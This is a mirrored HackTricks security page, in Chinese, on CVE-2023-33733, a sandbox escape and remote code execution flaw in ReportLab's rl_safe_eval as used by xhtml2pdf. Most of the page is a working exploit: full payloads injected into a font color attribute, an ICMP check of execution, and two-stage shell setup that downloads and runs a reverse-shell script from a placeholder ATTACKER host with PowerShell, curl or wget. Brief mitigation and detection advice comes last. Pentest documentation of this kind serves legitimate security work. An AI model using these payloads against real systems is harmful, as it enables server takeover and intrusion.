mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
80 lines
6.3 KiB
Markdown
80 lines
6.3 KiB
Markdown
# ReportLab/xhtml2pdf [[[...]]] 表达式求值 RCE (CVE-2023-33733)
|
||
|
||
{{#include ../../../banners/hacktricks-training.md}}
|
||
|
||
本页记录了一个在 ReportLab 的 rl_safe_eval 中的实用沙箱逃逸和 RCE 原语,该函数被 xhtml2pdf 及其他将用户可控 HTML 渲染为 PDF 的流水线所使用。
|
||
|
||
CVE-2023-33733 影响 ReportLab 直到并包括 3.6.12 的版本。在某些属性上下文(例如 color)中,包裹在三重方括号 [[[ ... ]]] 的值会被 rl_safe_eval 在服务器端求值。通过构造一个从被列入白名单的 builtin(pow)枢纽到其 Python 函数 globals 的有效负载,攻击者可以到达 os 模块并执行命令。
|
||
|
||
关键点
|
||
- 触发:向由 ReportLab/xhtml2pdf 解析的标记中被求值的属性(例如 <font color="...">)注入 [[[ ... ]]]。
|
||
- 沙箱:rl_safe_eval 会替换危险的 builtins,但已求值的函数仍然暴露 __globals__。
|
||
- 绕过:构造一个瞬态类 Word 来绕过 rl_safe_eval 的名称检查并访问字符串 "__globals__",同时避免被阻止的 dunder 过滤。
|
||
- RCE:getattr(pow, Word("__globals__"))["os"].system("<cmd>")
|
||
- 稳定性:执行后为属性返回一个有效值(对于 color,使用 and 'red')。
|
||
|
||
测试时机
|
||
- 暴露 HTML-to-PDF 导出(用户资料、发票、报告)并在 PDF 元数据或 HTTP 响应注释中显示 xhtml2pdf/ReportLab 的应用。
|
||
- exiftool profile.pdf | egrep 'Producer|Title|Creator' → "xhtml2pdf" producer
|
||
- PDF 的 HTTP 响应通常以 ReportLab 的 generator 注释开头
|
||
|
||
沙箱绕过工作原理
|
||
- rl_safe_eval 删除或替换了许多 builtin(getattr, type, pow, ...)并对名称应用过滤以拒绝以 __ 开头或在 denylist 中的属性。
|
||
- 然而,安全函数存在于可被访问的 func.__globals__ 的 globals 字典中。
|
||
- 使用 type(type(1)) 恢复真实的内建 type 函数(绕过 ReportLab 的包装),然后定义一个从 str 派生的 Word 类并修改比较行为,使得:
|
||
- .startswith('__') → 始终 False(绕过 name startswith('__') 检查)
|
||
- .__eq__ 在第一次比较时返回 False(绕过 denylist 成员检查),之后返回 True(使 Python getattr 工作)
|
||
- .__hash__ 等于 hash(str(self))
|
||
- 这样,getattr(pow, Word('__globals__')) 返回被包装的 pow 函数的 globals 字典,其中包含导入的 os 模块。然后:['os'].system('<cmd>')。
|
||
|
||
最小利用模式(属性示例)
|
||
将有效负载放在被求值的属性中,并确保通过布尔与 'red' 返回一个有效的属性值。
|
||
|
||
<para><font color="[[[getattr(pow, Word('__globals__'))['os'].system('ping 10.10.10.10') for Word in [ orgTypeFun( 'Word', (str,), { 'mutated': 1, 'startswith': lambda self, x: 1 == 0, '__eq__': lambda self, x: self.mutate() and self.mutated < 0 and str(self) == x, 'mutate': lambda self: { setattr(self, 'mutated', self.mutated - 1) }, '__hash__': lambda self: hash(str(self)), }, ) ] ] for orgTypeFun in [type(type(1))] for none in [[].append(1)]]] and 'red'">
|
||
exploit
|
||
</font></para>
|
||
|
||
- 列表推导式形式允许单一表达式被 rl_safe_eval 接受。
|
||
- 尾部的 and 'red' 返回一个有效的 CSS 颜色,使渲染不出错。
|
||
- 根据需要替换命令;使用 ping 并配合 tcpdump 验证执行。
|
||
|
||
操作流程
|
||
1) 识别 PDF 生成器
|
||
- PDF Producer 显示 xhtml2pdf;HTTP 响应包含 ReportLab 注释。
|
||
2) 找到被反射到 PDF 的输入(例如资料简介/描述)并触发导出。
|
||
3) 使用低噪声 ICMP 验证执行
|
||
- 运行:sudo tcpdump -ni <iface> icmp
|
||
- 有效负载:... system('ping <your_ip>') ...
|
||
- Windows 通常默认发送恰好四个 echo 请求。
|
||
4) 建立 shell
|
||
- 对于 Windows,可靠的两阶段方法可以避免引用/编码问题:
|
||
- 阶段 1(下载):
|
||
|
||
<para><font color="[[[getattr(pow, Word('__globals__'))['os'].system('powershell -c iwr http://ATTACKER/rev.ps1 -o rev.ps1') for Word in [ orgTypeFun( 'Word', (str,), { 'mutated': 1, 'startswith': lambda self, x: 1 == 0, '__eq__': lambda self, x: self.mutate() and self.mutated < 0 and str(self) == x, 'mutate': lambda self: { setattr(self, 'mutated', self.mutated - 1) }, '__hash__': lambda self: hash(str(self)), }, ) ] ] for orgTypeFun in [type(type(1))] for none in [[].append(1)]]] and 'red'">exploit</font></para>
|
||
|
||
- 阶段 2(执行):
|
||
|
||
<para><font color="[[[getattr(pow, Word('__globals__'))['os'].system('powershell ./rev.ps1') for Word in [ orgTypeFun( 'Word', (str,), { 'mutated': 1, 'startswith': lambda self, x: 1 == 0, '__eq__': lambda self, x: self.mutate() and self.mutated < 0 and str(self) == x, 'mutate': lambda self: { setattr(self, 'mutated', self.mutated - 1) }, '__hash__': lambda self: hash(str(self)), }, ) ] ] for orgTypeFun in [type(type(1))] for none in [[].append(1)]]] and 'red'">exploit</font></para>
|
||
|
||
- 对于 Linux 目标,可以使用类似的 curl/wget 两阶段:
|
||
- system('curl http://ATTACKER/s.sh -o /tmp/s; sh /tmp/s')
|
||
|
||
注意事项和提示
|
||
- 属性上下文:color 是已知的被求值属性;ReportLab 标记中的其他属性也可能会求值。如果某个位置被消毒,尝试渲染到 PDF 流中的其他位置(不同字段、表格样式等)。
|
||
- 引用:保持命令简洁。两阶段下载大大减少引用和转义的问题。
|
||
- 可靠性:如果导出被缓存或排队,稍微改变有效负载(例如随机路径或查询)以避免命中缓存。
|
||
|
||
缓解与检测
|
||
- 升级 ReportLab 至 3.6.13 或更高版本(CVE-2023-33733 已修复)。同时关注发行版包的安全公告。
|
||
- 不要在未经严格清理的情况下将用户可控的 HTML/标记直接输入到 xhtml2pdf/ReportLab。对于不受信任的输入,移除/拒绝 [[[...]]] 求值构造和厂商特定标签。
|
||
- 考虑对不受信任输入完全禁用或包装 rl_safe_eval 的使用。
|
||
- 在 PDF 生成期间监视可疑的出站连接(例如导出文档时应用服务器发出的 ICMP/HTTP)。
|
||
|
||
参考资料
|
||
- PoC 与技术分析: [c53elyas/CVE-2023-33733](https://github.com/c53elyas/CVE-2023-33733)
|
||
- 0xdf University HTB write-up(真实世界利用,Windows 两阶段有效负载):[HTB: University](https://0xdf.gitlab.io/2025/08/09/htb-university.html)
|
||
- NVD 条目(受影响版本):[CVE-2023-33733](https://nvd.nist.gov/vuln/detail/cve-2023-33733)
|
||
- xhtml2pdf 文档(标记/页面 概念):[xhtml2pdf docs](https://xhtml2pdf.readthedocs.io/en/latest/format_html.html)
|
||
|
||
{{#include ../../../banners/hacktricks-training.md}}
|